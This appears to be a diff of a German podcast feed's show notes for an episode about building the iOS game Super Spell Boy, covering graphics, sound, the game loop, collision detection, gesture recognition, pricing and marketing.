+ * OpenGL muss nicht 3D sein, für 2D gibt es aber auch andere Möglichkeiten
+ * Entscheidung für OpenGL war von eher pragmatischer Natur
+
+### Grafiken (00:16:20)
+
+ * Grafiken kaufen? Selber machen?
+ * Mastermind: http://de.wikipedia.org/wiki/Mastermind
+ * Kurze Historie...
+ * Im April 2012: Mit Super Spell Boy angefangen
+ * Im Dezember 2012: Versuch ein (anderes) Spiel in zwei Monaten zu machen, weil die ursprüngliche Idee zu schwer erschien
+ * Dann Anfang 2013: Doch wieder zurück zu Super Spell Boy, weil geilere Idee :)
+ * Pixel Art: http://en.wikipedia.org/wiki/Pixel_art
+ * Pixel Art Editor unter OS X Pixen: http://pixenapp.com/
+ * Dann: Viel üben, nachmalen, ausprobieren…
+ * Die Objekte im Spiel sind über Vertices definiert, über die Texturen gespannt werden
+ * Animationen sind Bilder, wo mehrere Bilder z.B. der Figur nebeneinander stehen
+ * Gameloop: http://en.wikipedia.org/wiki/Game_programming#Game_structure, http://www.gameprogblog.com/generic-game-loop/
+ * eine endlose Schleife, die z.B. 33 mal pro Sekunde ausgeführt wird (33 fps)
+ * enthalten in der Schleife ist alles, was das Spiel ausmacht: Gamelogik, Rendering usw.
+ * Taktung von Animationen und Ereignissen auf die Taktung der Gameloop
+
+### Sound & Music erstellen (00:28:52)
+
+ * Der Intro-Sound dieser Folge war die Menümusik aus dem Spiel
+ * Musik/Sound ist ein ähnliches Problem wie das Grafikproblem: Woher nehmen?
+ * Laut Literatur hätte man damit direkt anfangen sollen, hat Björn aber nicht gemacht :P
+ * Auch hier zunächst wieder versucht Sound-Effekte einzukaufen
+ * Folgende Seiten angeschaut:
+ * http://soundbible.com (free)
+ * http://www.freesound.org (free)
+ * Nix dabei gewesen, weil Sound sollte vom Stil zum Spiel passen (lies: 8-bit)
+ * Dabei eine App gefunden, mit der man diese Sound leicht selber machen kann: http://thirdcog.eu/apps/cfxr
+ * Das heisst: Die Sound sind auch selbst gemacht
+ * Thema Musik: Kaufen ist teuer, daher Creative Commons
+ * Dabei ist er bei Eric Skiff (http://ericskiff.com/music/) gelandet
+ * Die Musik (und unser Intro) ist von dem Album "Resistor Anthems"
+ * Basti erwähnt, dass das Spiel direkt einen vollständigeren Eindruck gemacht als Musik dabei war
+ * Findet George Lucas auch ;-) (http://www.brainyquote.com/quotes/quotes/g/georgeluca462198.html)
+
+### Super Spell Boy (00:33:53)
+
+ * Im App-Store: https://itunes.apple.com/app/id702233807
+ * Retro-Spiel, Retro-Name
+ * Worum geht es: Der Spieler steuert einen Zauberer auf seiner Burg und muss diese gegen unendliche Horden dunkler Kreaturen verteidigen
+ * Wir fragen uns was es für ein Genre ist
+ * Im App-Store: Action, Arcade
+ * Wir einigen uns auf eine Mischung zwischen Tower Defense (https://en.wikipedia.org/wiki/Tower_defense) und Shoot'em Up (https://en.wikipedia.org/wiki/Shoot_em_up)
+ * Wenn die Burg zerstört ist, dann ist das Spiel vorbei
+ * Wie verteidigt man seine Burg? Natürlich mit Magie!
+ * Man beschwört die Zauber per Gesten (a.k.a. der USP des Spiels)
+ * Gespielt wird Portrait-Modus und die Gegner kommen vom oberen Bildschirmrand
+ * Die Herausforderung für den Spieler besteht in:
+ * Lernen und Erinnern der richtigen Gesten
+ * Lernen und Erinnern welche Gegner gegen welche Zauber anfällig sind
+ * Bsp.: Brennender Gegner -> KEIN Feuer
+ * Von Beginn an alle Zauber verfügbar
+ * Erst war die Idee, dass man nach und nach die Zauber freispielt
+ * Ist aber "einfach" ein Arcadespiel: Solange spielen bis man stirbt.
+ * Alle UI-Elemente sind im Spiel integriert:
+ * Pause-Button ist das Tor der Burg
+ * Auf dem linken Turm liegt das Zauberbuch, in dem sich alle Zauber nachschlagen lassen
+ * Wie sich das gehört gibt es auch Mana und Zauber brauchen unterschiedlich viel Mana
+ * Mana regeneriert sich selbst, aber langsam
+ * Manchmal lassen besiegte Gegner aber auch Mana-Tränke fallen
+ * Pro-Tipp: Wenn man einen Zauber beschwört hat und ihn noch NICHT auf einen Gegner geschossen hat, regeneriert sich der Mana-Vorrat nicht
+ * Noch mal zur Erinnerung: Das alles muss innerhalb der Game-Loop passieren
+ * Ereignisse müssen von Zeiteinheiten in Spielzeit (Frames) umgerechnet werden
+ * Bsp.: Alle 0,275 Sekunden soll sich Mana regenerieren, d.h. alle 12 Frames
+ * Das bedingt auch, dass die Events abhängig vom Framecounter getriggert werden und nicht in Realzeit, wenn das Spiel also langsamer läuft regeneriert nicht mehr alle 0,275 Sekunden Mana
+
+### Kollisionserkennung (00:43:50)
+
+ * Irgendwann muss ermittelt werden, ob ein Gegner getroffen wurde oder nicht
+ * Es wurden zwei Varianten verwendet:
+ * Rectangle-Rectangle: Ãœberschneiden sich zwei Rechtecke, dann ist es ein Treffer
+ * Problem: Einige Zauber können über Gegner "hinwegfliegen" und treffen diese nicht
+ * Lösung: Nur der Gegner darf getroffen werden, der vorher angeklickt wurde
+ * Problem: Was heißt "angeklickt"?
+ * Point-Rectangle: Ist ein Punkt in einem anderen Rechteck. Punkt ist in diesem Fall der "Finger" des Spielers.
+ * Aber es gibt auch komplexere Erkennungen:
+ * Der Steinzauber fliegt über das ganze Spielfeld und trifft dabei jeden Gegner
+ * Wenn in zwei aufeinanderfolgenden Frames ein Gegner zweimal von gleichen Stein getroffen wird, darf der Treffer nur einmal zählen
+ * Der Stein muss sich also merken wen er getroffen hat o_O
+ * Vorbereitung für Combosystem ;-)
+ * Was "musste" man sich selber ausdenken?
+ * Konzepte wie Game-Loop und Erkennen von Kollisionen existieren und sind gut beschrieben
+ * Details wie wen hat man getroffen, wen wollte man treffen etc. müssen dann selbst modelliert werden
+ * Kollisionserkennung kann beliebig komplex werden. Stichwort: Polygone
+ * In der Spieleentwicklung existieren ebenso Pattern wie in anderen Bereichen der Software-Entwicklung
+
+### Gesten (00:50:00)
+
+ * Was muss man da selber machen
+ * iOS nimmt einem kaum etwas ab
+ * Angefangen mit GLGestureRecognizer (https://github.com/preble/GLGestureRecognizer)
+ * Open Source Library basiert auf dem $1 Unistroke Recognizer: https://depts.washington.edu/aimgroup/proj/dollar/
+ * In der damals verwendeten Version keine zufriedenstellenden Ergebnisse
+ * Aktuelle Version des Spiels verwendet eine eigene Implementierung
+ * Prinzip basiert auf "Spiele entwickeln für iPhone und iPad (S. 398 ff.)"
+ * Man erstellt eine Matrix und vergibt jedem Feld der Matrix einen Buchstaben
+ * Die Geste wird über die Matrix gelegt und jedes durchquerte Feld wird ausgelesen
+ * Ergebnis ist eine String-Repräsentation der Geste: Sampling der Geste
+ * Wahl der Auflösung ist entscheidend
+ * Mehrere Zeichenketten können die gleiche Geste bedeuten
+ * Aktuell gute Ergebnisse aber immer noch nicht perfekt
+ * Was stellt aber nun iOS zur Verfügung?
+ * iOS entscheidet ob es eine Geste oder ein Touch war
+ * Man kann sich dann die Koordinaten der Geste geben lassen oder schon während der Ausführung der Geste die Koordinaten einsammeln (Björn macht die erste Variante)
+ * Noch mal zur Erinnerung: Das alles muss innerhalb der Game-Loop passieren, sprich in jeder 1/33 Sekunde
+ * Aussteuerung der erlaubten Toleranz bedingt potentielle Ãœberschneidungen mit anderen Gesten
+ * GLGestureRecognizer hat aktuelle eine neue Version. Denkbar ist eine Kombination aus beiden Ansätzen. Oder ganz neuer Ansatz/Bibliothek.
+ * Von außen betrachtet ein einfaches Spiel und trotzdem gibt es schon Myriaden von Dingen zu beachten o_O
+
+### Sound und Musik abspielen (00:57:35)
+
+ * Wie wird Sound/Musik abgespielt?
+ * Sound und Musik ist erstaunlich einfach:
+ * Musik: Zu Beginn des Spiels das Abspielen der Musik an iOS übergeben
+ * Soundeffekte: Wird in dem entsprechenden Frame an iOS übergeben
+ * Fertig :-)
+
+### Entwicklungsprozess (00:58:59)
+
+ * Anzeige von Sprites mittels OpenGL
+ * Bewegen/Animieren von Sprites
+ * Interagieren mit dem Spiel (Gesten-Erkennung)
+
+### Testen (01:00:55)
+
+ * HockeyApp: http://hockeyapp.net/
+ * Für SSB: TestFlight: http://testflightapp.com/
+ * TestFlight kostenlos
+ * Regelmäßige Updates an Tester
+ * 10 bis 15 Tester
+ * Iterative Entwicklung parallel zum Testen
+
+### Zum Schluss: Menüs, Logo, Settings etc. (01:02:09)
+
+ * Macht das Spiel rund
+ * Umsetzung nochmals viel Zeit gebraucht
+ * Viele Fallstricke beim Sound/Musik
+
+### Balancing (01:04:20)
+
+ * Auch iterativer/begleitender/explorativer Prozess
+ * Gradwanderung
+ * Spannende Phase
+ * Spiel eventuell zu schwer für Causal Gamer
+ * Dirk wartet immer noch auf sein Review zu Super Spell Boy im App-Store
+
+### Entwicklungsdauer (01:06:25)
+
+ * 710:42 Stunden (~ 4,5 Monate)
+ * Überwiegend Teilzeit auf über ein Jahr gestreckt
+ * Teilzeit erschwert die Entwicklung
+
+### SpriteKit (01:08:50)
+
+ * Sprite Kit Programming Guide: https://developer.apple.com/library/ios/documentation/SpriteKit/Reference/SpriteKitFramework_Ref/_index.html
+ * Nimmt viele Low-Level-Entwicklungen ab
+ * 2D-Spiele-Entwicklung
+ * Entwicklung für iOS und OSX
+ * OpenGL drin
+ * Physik drin (Collision Detection, Gravity)
+ * Partikelsystem
+ * Animationen
+ * Unterstützt ab iOS7
+ * 200 Millionen Installationen iOS 7
+ * Auf den Support von älteren iOS verzichten
+ * Konzentrieren nur auf die Spiele-Entwicklung
+ * Erhöhter Aufwand, wenn auch < iOS 7 unterstützt wird
+
+### Preisfindung (01:15:10)
+
+ * Schritt für Schritt an den Preis angenähert
+ * Schlechte Bewertung im App Store, wenn Preis "zu hoch"
+ * Preise für Apps und Spiele im App Store "anders"
+ * Viel mit Leuten gesprochen, die sich auskennen
+ * Ursprünglich 0,89 Euro
+ * Davon wurde mir abgeraten: Tolles Spiel, nicht verschleudern
+ * Preis-"Tiers": Preise im App-Store sind gestaffelt
+ * Keine Ads
+ * Momentan noch kein In-App-Purchases
+ * Ein Preis
+ * Besprechen der verschiedenen Preise bekannter Spiele im App Store
+ * Entschieden für Tier 3: 2,69 Euro
+ * Der Entwickler bekommt: 1,64 Euro
+ * Preis = 2,69 Euro - USt. - 30 % an Apple
+ * Ne Menge verkaufen um davon leben zu können
+ * Glücklich, wenn Super Spell Boy so viel einspielt, dass das nächste Spiel finanziert ist
+
+### Marketing (01:25:01)
+
+ * Während der Entwicklung kaum Marketing
+ * Seit Release Facebook (https://www.facebook.com/SuperSpellBoy), Twitter (https://twitter.com/SuperSpellBoy) etc.
+ * Werbung bisher nur in Facebook
+ * Likes "kaufen"
+ * Gameplay-Video "Fast Forward" beworben: http://www.youtube.com/watch?v=L_WZVLLU2Mg. Hat mittlerweile 1470 Likes
+ * Budget pro Tag
+ * Im Detail die Zielgruppe bestimmen
+ * Nur Spiele-Interessierte
+ * Nur iOS-Nutzer
+ * etc.
+ * Apple Verkaufsstatistiken sind verzögert
+ * Promo-Codes
+ * Anschreiben wegen Promo-Codes
+ * Bewertung schreiben im App-Store
+ * Wurde angeschrieben von YouTube-App-Reviewer
+ * 1 Review für Lau (paar hundert Views pro Video)
+ * 1 Review für 350 USD (Views im tausender Bereich)
+
+### Monetarisierung als Indie-Game-Entwickler (01:33:57)
+
+ * Interview mit Michael Contento http://www.gamasutra.com/blogs/RuthWilson/20130827/199049/CREATING_GAMES_FOR_KIDS_HOW_TO_FIND_AND_TEST_CONTENT_MONETIZE_AND_MARKET_YOUR_GAME.php
+ * Cross-Platform-Entwickler
+ * Spieler für Kinder
+ * Free2Play
+ * In-App-Purchase
+ * Werbung ausblenden
+ * Weitere Level kaufen
+ * Interview: Welche Herausforderungen bei diesem Ansatz
+ * Ansazt auf Masse
+ * Andere Strategien da man alleine ist
+ * Marketing ist teuer
+ * Ziel: Spiel muss in die Top-Charts kommen
+ * Einkaufen von Reviews, Pressemitteilungen und Downloads
+ * Preise hoch/runter setzen um auf Crawling-Seiten zu erscheinen
+
+### Zusammenfassung (01:38:04)
+
+ * Game-Entwicklung cool
+ * Marketing uncool
+ * Weitere Links:
+ * iOS 5 By Tutorials (http://www.raywenderlich.com/store/ios-5-by-tutorials)
+ * iOS 6 By Tutorials (http://www.raywenderlich.com/store/ios-6-by-tutorials)]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Wir haben uns mit unserem <a href="https://twitter.com/HomeOfficeCGN">@HomeOfficeCGN</a> Kollegen Björn hingesetzt und über Spieleentwicklung
+gesprochen. Konkret ging es um iOS Spiele und noch konkreter um die Entstehung von Super Spell Boy, dem ersten
+erschienen Titel für iOS von Björn. Wir gehen alles durch: von Grafiken erstellen, über Sounddesign, Gameloops
+bis hin zur Preisfindung und Vermarktung.</p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Phill Schiller, Apple iPhone Event 2013: <a href="http://www.apple.com/apple-events/september-2013/">http://www.apple.com/apple-events/september-2013/</a></li>
+<li>Intro Musik: Eric Skiff, <a href="http://ericskiff.com/music/">http://ericskiff.com/music/</a></li>
+</ul>
+
+<h3>Unser Gast (00:01:50)</h3>
+
+<ul>
+<li>Björn <a href="https://twitter.com/_orko">@_orko</a> Vollmer, Rhineality Games (<a href="http://rhinealitygames.com/">http://rhinealitygames.com/</a>)</li>
+<li>Zu finden im <a href="https://twitter.com/HomeOfficeCGN">@HomeOfficeCGN</a> :)</li>
+<li>hat Informatik an der FH Köln studiert</li>
+<li>pkw.de: &quot;klassische&quot; Rails Webentwicklung</li>
+<li>seit 10.10.2010 (weil 101010 = 42 \o/) als Freiberuflicher Softwareentwickler unterwegs</li>
+<li>und seit kurzem: Mehr in Richtung Entwicklung von eigenen Spielen</li>
+</ul>
+
+<h3>Browser Spieleentwicklung (00:04:00)</h3>
+
+<ul>
+<li>Begonnen hat Björn mit Browserspiel (erst in PHP, dann mit Ruby)</li>
+<li>Spiel ist immer noch in der Entwicklung, ruht aber derzeit ;-)</li>
+<li>Sci-Fi Setting, insgesamt sehr aufwendig</li>
+<li>Arbeitstitel: Hard Space (<a href="http://hardspace.net/">http://hardspace.net/</a>)</li>
+<li>Nicht zu verwechseln mit Dead Space (<a href="https://en.wikipedia.org/wiki/Dead_Space_(video_game)">https://en.wikipedia.org/wiki/Dead_Space_(video_game)</a>)</li>
+</ul>
+
+<h3>iOS Spieleentwicklung (00:07:00)</h3>
+
+<ul>
+<li>Dann kam der Entschluss ein iOS Spiel zu machen (Startschuss: April 2012)</li>
+<li>Ziele waren:
+
+<ul>
+<li>Mit weniger Umfang</li>
+<li>Alle Dinge mussten selbst gemacht werden ^^</li>
+</ul></li>
+<li>Bisher unbekannte Plattform</li>
+<li>Einfach losgelegt, ohne sich in vorher groß einzulesen</li>
+<li>Bei Spielen ohnehin wenig Kontakt mit UIKit und daher Custom-UI</li>
+<li>Bücher
+
+<ul>
+<li>&quot;Spiele entwickeln für iPhone und iPad&quot; (ISBN 978-3-89864-725-0): <a href="http://www.amazon.de/Spiele-entwickeln-iPhone-iPad-Programmierung/dp/3898647250">http://www.amazon.de/Spiele-entwickeln-iPhone-iPad-Programmierung/dp/3898647250</a></li>
+<li>&quot;Spiele entwickeln für iPad, iPhone und iPod touch&quot; (ISBN 978-3446430853): <a href="http://www.amazon.de/Spiele-entwickeln-iPad-iPhone-touch/dp/3446430857">http://www.amazon.de/Spiele-entwickeln-iPad-iPhone-touch/dp/3446430857</a></li>
+</ul></li>
+<li>Grafik hat Björn mit OpenGL implementiert</li>
+<li>Bei OpenGL verlässt man Objective-C Land und macht Vanilla C ;-)</li>
+<li>Björn war froh als er damit fertig war ^^</li>
+<li>OpenGL muss nicht 3D sein, für 2D gibt es aber auch andere Möglichkeiten</li>
+<li>Entscheidung für OpenGL war von eher pragmatischer Natur</li>
+</ul>
+
+<h3>Grafiken (00:16:20)</h3>
+
+<ul>
+<li>Grafiken kaufen? Selber machen?</li>
+<li>Mastermind: <a href="http://de.wikipedia.org/wiki/Mastermind">http://de.wikipedia.org/wiki/Mastermind</a></li>
+<li>Kurze Historie...
+
+<ul>
+<li>Im April 2012: Mit Super Spell Boy angefangen</li>
+<li>Im Dezember 2012: Versuch ein (anderes) Spiel in zwei Monaten zu machen, weil die ursprüngliche Idee zu schwer erschien</li>
+<li>Dann Anfang 2013: Doch wieder zurück zu Super Spell Boy, weil geilere Idee :)</li>
+</ul></li>
+<li>Pixel Art: <a href="http://en.wikipedia.org/wiki/Pixel_art">http://en.wikipedia.org/wiki/Pixel_art</a></li>
+<li>Pixel Art Editor unter OS X Pixen: <a href="http://pixenapp.com/">http://pixenapp.com/</a></li>
+<li>Dann: Viel üben, nachmalen, ausprobieren…</li>
+<li>Die Objekte im Spiel sind über Vertices definiert, über die Texturen gespannt werden</li>
+<li>Animationen sind Bilder, wo mehrere Bilder z.B. der Figur nebeneinander stehen</li>
+<li>Gameloop: <a href="http://en.wikipedia.org/wiki/Game_programming#Game_structure">http://en.wikipedia.org/wiki/Game_programming#Game_structure</a>, <a href="http://www.gameprogblog.com/generic-game-loop/">http://www.gameprogblog.com/generic-game-loop/</a>
+
+<ul>
+<li>eine endlose Schleife, die z.B. 33 mal pro Sekunde ausgeführt wird (33 fps)</li>
+<li>enthalten in der Schleife ist alles, was das Spiel ausmacht: Gamelogik, Rendering usw.</li>
+<li>Taktung von Animationen und Ereignissen auf die Taktung der Gameloop</li>
+</ul></li>
+</ul>
+
+<h3>Sound &amp; Music erstellen (00:28:52)</h3>
+
+<ul>
+<li>Der Intro-Sound dieser Folge war die Menümusik aus dem Spiel</li>
+<li>Musik/Sound ist ein ähnliches Problem wie das Grafikproblem: Woher nehmen?</li>
+<li>Laut Literatur hätte man damit direkt anfangen sollen, hat Björn aber nicht gemacht :P</li>
+<li>Auch hier zunächst wieder versucht Sound-Effekte einzukaufen</li>
+<li>Folgende Seiten angeschaut:
+
+<ul>
+<li><a href="http://soundbible.com">http://soundbible.com</a> (free)</li>
+<li><a href="http://www.freesound.org">http://www.freesound.org</a> (free)</li>
+</ul></li>
+<li>Nix dabei gewesen, weil Sound sollte vom Stil zum Spiel passen (lies: 8-bit)</li>
+<li>Dabei eine App gefunden, mit der man diese Sound leicht selber machen kann: <a href="http://thirdcog.eu/apps/cfxr">http://thirdcog.eu/apps/cfxr</a></li>
+<li>Das heisst: Die Sound sind auch selbst gemacht</li>
+<li>Thema Musik: Kaufen ist teuer, daher Creative Commons</li>
+<li>Dabei ist er bei Eric Skiff (<a href="http://ericskiff.com/music/">http://ericskiff.com/music/</a>) gelandet</li>
+<li>Die Musik (und unser Intro) ist von dem Album &quot;Resistor Anthems&quot;</li>
+<li>Basti erwähnt, dass das Spiel direkt einen vollständigeren Eindruck gemacht als Musik dabei war</li>
+<li>Findet George Lucas auch ;-) (<a href="http://www.brainyquote.com/quotes/quotes/g/georgeluca462198.html">http://www.brainyquote.com/quotes/quotes/g/georgeluca462198.html</a>)</li>
+</ul>
+
+<h3>Super Spell Boy (00:33:53)</h3>
+
+<ul>
+<li>Im App-Store: <a href="https://itunes.apple.com/app/id702233807">https://itunes.apple.com/app/id702233807</a></li>
+<li>Retro-Spiel, Retro-Name</li>
+<li>Worum geht es: Der Spieler steuert einen Zauberer auf seiner Burg und muss diese gegen unendliche Horden dunkler Kreaturen verteidigen</li>
+<li>Wir fragen uns was es für ein Genre ist
+
+<ul>
+<li>Im App-Store: Action, Arcade</li>
+<li>Wir einigen uns auf eine Mischung zwischen Tower Defense (<a href="https://en.wikipedia.org/wiki/Tower_defense">https://en.wikipedia.org/wiki/Tower_defense</a>) und Shoot&#39;em Up (<a href="https://en.wikipedia.org/wiki/Shoot_em_up">https://en.wikipedia.org/wiki/Shoot_em_up</a>)</li>
+</ul></li>
+<li>Wenn die Burg zerstört ist, dann ist das Spiel vorbei</li>
+<li>Wie verteidigt man seine Burg? Natürlich mit Magie!</li>
+<li>Man beschwört die Zauber per Gesten (a.k.a. der USP des Spiels)</li>
+<li>Gespielt wird Portrait-Modus und die Gegner kommen vom oberen Bildschirmrand</li>
+<li>Die Herausforderung für den Spieler besteht in:
+
+<ul>
+<li>Lernen und Erinnern der richtigen Gesten</li>
+<li>Lernen und Erinnern welche Gegner gegen welche Zauber anfällig sind</li>
+<li>Bsp.: Brennender Gegner -> KEIN Feuer</li>
+</ul></li>
+<li>Von Beginn an alle Zauber verfügbar
+
+<ul>
+<li>Erst war die Idee, dass man nach und nach die Zauber freispielt</li>
+<li>Ist aber &quot;einfach&quot; ein Arcadespiel: Solange spielen bis man stirbt.</li>
+</ul></li>
+<li>Alle UI-Elemente sind im Spiel integriert:
+
+<ul>
+<li>Pause-Button ist das Tor der Burg</li>
+<li>Auf dem linken Turm liegt das Zauberbuch, in dem sich alle Zauber nachschlagen lassen</li>
+</ul></li>
+<li>Wie sich das gehört gibt es auch Mana und Zauber brauchen unterschiedlich viel Mana</li>
+<li>Mana regeneriert sich selbst, aber langsam</li>
+<li>Manchmal lassen besiegte Gegner aber auch Mana-Tränke fallen</li>
+<li>Pro-Tipp: Wenn man einen Zauber beschwört hat und ihn noch NICHT auf einen Gegner geschossen hat, regeneriert sich der Mana-Vorrat nicht</li>
+<li>Noch mal zur Erinnerung: Das alles muss innerhalb der Game-Loop passieren</li>
+<li>Ereignisse müssen von Zeiteinheiten in Spielzeit (Frames) umgerechnet werden
+
+<ul>
+<li>Bsp.: Alle 0,275 Sekunden soll sich Mana regenerieren, d.h. alle 12 Frames</li>
+</ul></li>
+<li>Das bedingt auch, dass die Events abhängig vom Framecounter getriggert werden und nicht in Realzeit, wenn das Spiel also langsamer läuft regeneriert nicht mehr alle 0,275 Sekunden Mana</li>
+</ul>
+
+<h3>Kollisionserkennung (00:43:50)</h3>
+
+<ul>
+<li>Irgendwann muss ermittelt werden, ob ein Gegner getroffen wurde oder nicht</li>
+<li>Es wurden zwei Varianten verwendet:
+
+<ul>
+<li>Rectangle-Rectangle: Ãœberschneiden sich zwei Rechtecke, dann ist es ein Treffer</li>
+<li>Problem: Einige Zauber können über Gegner &quot;hinwegfliegen&quot; und treffen diese nicht</li>
+<li>Lösung: Nur der Gegner darf getroffen werden, der vorher angeklickt wurde</li>
+<li>Problem: Was heißt &quot;angeklickt&quot;?</li>
+<li>Point-Rectangle: Ist ein Punkt in einem anderen Rechteck. Punkt ist in diesem Fall der &quot;Finger&quot; des Spielers.</li>
+</ul></li>
+<li>Aber es gibt auch komplexere Erkennungen:
+
+<ul>
+<li>Der Steinzauber fliegt über das ganze Spielfeld und trifft dabei jeden Gegner</li>
+<li>Wenn in zwei aufeinanderfolgenden Frames ein Gegner zweimal von gleichen Stein getroffen wird, darf der Treffer nur einmal zählen</li>
+<li>Der Stein muss sich also merken wen er getroffen hat o_O</li>
+<li>Vorbereitung für Combosystem ;-)</li>
+</ul></li>
+<li>Was &quot;musste&quot; man sich selber ausdenken?
+
+<ul>
+<li>Konzepte wie Game-Loop und Erkennen von Kollisionen existieren und sind gut beschrieben</li>
+<li>Details wie wen hat man getroffen, wen wollte man treffen etc. müssen dann selbst modelliert werden</li>
+</ul></li>
+<li>Kollisionserkennung kann beliebig komplex werden. Stichwort: Polygone</li>
+<li>In der Spieleentwicklung existieren ebenso Pattern wie in anderen Bereichen der Software-Entwicklung</li>
+</ul>
+
+<h3>Gesten (00:50:00)</h3>
+
+<ul>
+<li>Was muss man da selber machen</li>
+<li>iOS nimmt einem kaum etwas ab</li>
+<li>Angefangen mit GLGestureRecognizer (<a href="https://github.com/preble/GLGestureRecognizer">https://github.com/preble/GLGestureRecognizer</a>)
+
+<ul>
+<li>Open Source Library basiert auf dem $1 Unistroke Recognizer: <a href="https://depts.washington.edu/aimgroup/proj/dollar/">https://depts.washington.edu/aimgroup/proj/dollar/</a></li>
+<li>In der damals verwendeten Version keine zufriedenstellenden Ergebnisse</li>
+</ul></li>
+<li>Aktuelle Version des Spiels verwendet eine eigene Implementierung
+
+<ul>
+<li>Prinzip basiert auf &quot;Spiele entwickeln für iPhone und iPad (S. 398 ff.)&quot;</li>
+<li>Man erstellt eine Matrix und vergibt jedem Feld der Matrix einen Buchstaben</li>
+<li>Die Geste wird über die Matrix gelegt und jedes durchquerte Feld wird ausgelesen</li>
+<li>Ergebnis ist eine String-Repräsentation der Geste: Sampling der Geste</li>
+<li>Wahl der Auflösung ist entscheidend</li>
+<li>Mehrere Zeichenketten können die gleiche Geste bedeuten</li>
+<li>Aktuell gute Ergebnisse aber immer noch nicht perfekt</li>
+</ul></li>
+<li>Was stellt aber nun iOS zur Verfügung?
+
+<ul>
+<li>iOS entscheidet ob es eine Geste oder ein Touch war</li>
+<li>Man kann sich dann die Koordinaten der Geste geben lassen oder schon während der Ausführung der Geste die Koordinaten einsammeln (Björn macht die erste Variante)</li>
+</ul></li>
+<li>Noch mal zur Erinnerung: Das alles muss innerhalb der Game-Loop passieren, sprich in jeder 1/33 Sekunde</li>
+<li>Aussteuerung der erlaubten Toleranz bedingt potentielle Ãœberschneidungen mit anderen Gesten</li>
+<li>GLGestureRecognizer hat aktuelle eine neue Version. Denkbar ist eine Kombination aus beiden Ansätzen. Oder ganz neuer Ansatz/Bibliothek.</li>
+<li>Von außen betrachtet ein einfaches Spiel und trotzdem gibt es schon Myriaden von Dingen zu beachten o_O</li>
+</ul>
+
+<h3>Sound und Musik abspielen (00:57:35)</h3>
+
+<ul>
+<li>Wie wird Sound/Musik abgespielt?</li>
+<li>Sound und Musik ist erstaunlich einfach:
+
+<ul>
+<li>Musik: Zu Beginn des Spiels das Abspielen der Musik an iOS übergeben</li>
+<li>Soundeffekte: Wird in dem entsprechenden Frame an iOS übergeben</li>
+<li>Fertig :-)</li>
+</ul></li>
+</ul>
+
+<h3>Entwicklungsprozess (00:58:59)</h3>
+
+<ul>
+<li>Anzeige von Sprites mittels OpenGL</li>
+<li>Bewegen/Animieren von Sprites</li>
+<li>Interagieren mit dem Spiel (Gesten-Erkennung)</li>
+</ul>
+
+<h3>Testen (01:00:55)</h3>
+
+<ul>
+<li>HockeyApp: <a href="http://hockeyapp.net/">http://hockeyapp.net/</a></li>
+<li>Für SSB: TestFlight: <a href="http://testflightapp.com/">http://testflightapp.com/</a></li>
+<li>TestFlight kostenlos</li>
+<li>Regelmäßige Updates an Tester</li>
+<li>10 bis 15 Tester</li>
+<li>Iterative Entwicklung parallel zum Testen</li>
+</ul>
+
+<h3>Zum Schluss: Menüs, Logo, Settings etc. (01:02:09)</h3>
+
+<ul>
+<li>Macht das Spiel rund</li>
+<li>Umsetzung nochmals viel Zeit gebraucht</li>
+<li>Viele Fallstricke beim Sound/Musik</li>
+</ul>
+
+<h3>Balancing (01:04:20)</h3>
+
+<ul>
+<li>Auch iterativer/begleitender/explorativer Prozess</li>
+<li>Gradwanderung</li>
+<li>Spannende Phase</li>
+<li>Spiel eventuell zu schwer für Causal Gamer</li>
+<li>Dirk wartet immer noch auf sein Review zu Super Spell Boy im App-Store</li>
+</ul>
+
+<h3>Entwicklungsdauer (01:06:25)</h3>
+
+<ul>
+<li>710:42 Stunden (~ 4,5 Monate)</li>
+<li>Überwiegend Teilzeit auf über ein Jahr gestreckt</li>
+<li>Teilzeit erschwert die Entwicklung</li>
+</ul>
+
+<h3>SpriteKit (01:08:50)</h3>
+
+<ul>
+<li>Sprite Kit Programming Guide: <a href="https://developer.apple.com/library/ios/documentation/SpriteKit/Reference/SpriteKitFramework_Ref/_index.html">https://developer.apple.com/library/ios/documentation/SpriteKit/Reference/SpriteKitFramework_Ref/_index.html</a></li>
+<li>Nimmt viele Low-Level-Entwicklungen ab</li>
+<li>2D-Spiele-Entwicklung</li>
+<li>Entwicklung für iOS und OSX</li>
+<li>OpenGL drin</li>
+<li>Physik drin (Collision Detection, Gravity)</li>
+<li>Partikelsystem</li>
+<li>Animationen</li>
+<li>Unterstützt ab iOS7</li>
+<li>200 Millionen Installationen iOS 7</li>
+<li>Auf den Support von älteren iOS verzichten</li>
+<li>Konzentrieren nur auf die Spiele-Entwicklung</li>
+<li>Erhöhter Aufwand, wenn auch &lt; iOS 7 unterstützt wird</li>
+</ul>
+
+<h3>Preisfindung (01:15:10)</h3>
+
+<ul>
+<li>Schritt für Schritt an den Preis angenähert</li>
+<li>Schlechte Bewertung im App Store, wenn Preis &quot;zu hoch&quot;</li>
+<li>Preise für Apps und Spiele im App Store &quot;anders&quot;</li>
+<li>Viel mit Leuten gesprochen, die sich auskennen</li>
+<li>Ursprünglich 0,89 Euro</li>
+<li>Davon wurde mir abgeraten: Tolles Spiel, nicht verschleudern</li>
+<li>Preis-&quot;Tiers&quot;: Preise im App-Store sind gestaffelt</li>
+<li>Keine Ads</li>
+<li>Momentan noch kein In-App-Purchases</li>
+<li>Ein Preis</li>
+<li>Besprechen der verschiedenen Preise bekannter Spiele im App Store</li>
+<li>Entschieden für Tier 3: 2,69 Euro</li>
+<li>Der Entwickler bekommt: 1,64 Euro</li>
+<li>Preis = 2,69 Euro - USt. - 30 % an Apple</li>
+<li>Ne Menge verkaufen um davon leben zu können</li>
+<li>Glücklich, wenn Super Spell Boy so viel einspielt, dass das nächste Spiel finanziert ist</li>
+</ul>
+
+<h3>Marketing (01:25:01)</h3>
+
+<ul>
+<li>Während der Entwicklung kaum Marketing</li>
+<li>Seit Release Facebook (<a href="https://www.facebook.com/SuperSpellBoy">https://www.facebook.com/SuperSpellBoy</a>), Twitter (<a href="https://twitter.com/SuperSpellBoy">https://twitter.com/SuperSpellBoy</a>) etc.</li>
+<li>Werbung bisher nur in Facebook</li>
+<li>Likes &quot;kaufen&quot;</li>
+<li>Gameplay-Video &quot;Fast Forward&quot; beworben: <a href="http://www.youtube.com/watch?v=L_WZVLLU2Mg">http://www.youtube.com/watch?v=L_WZVLLU2Mg</a>. Hat mittlerweile 1470 Likes</li>
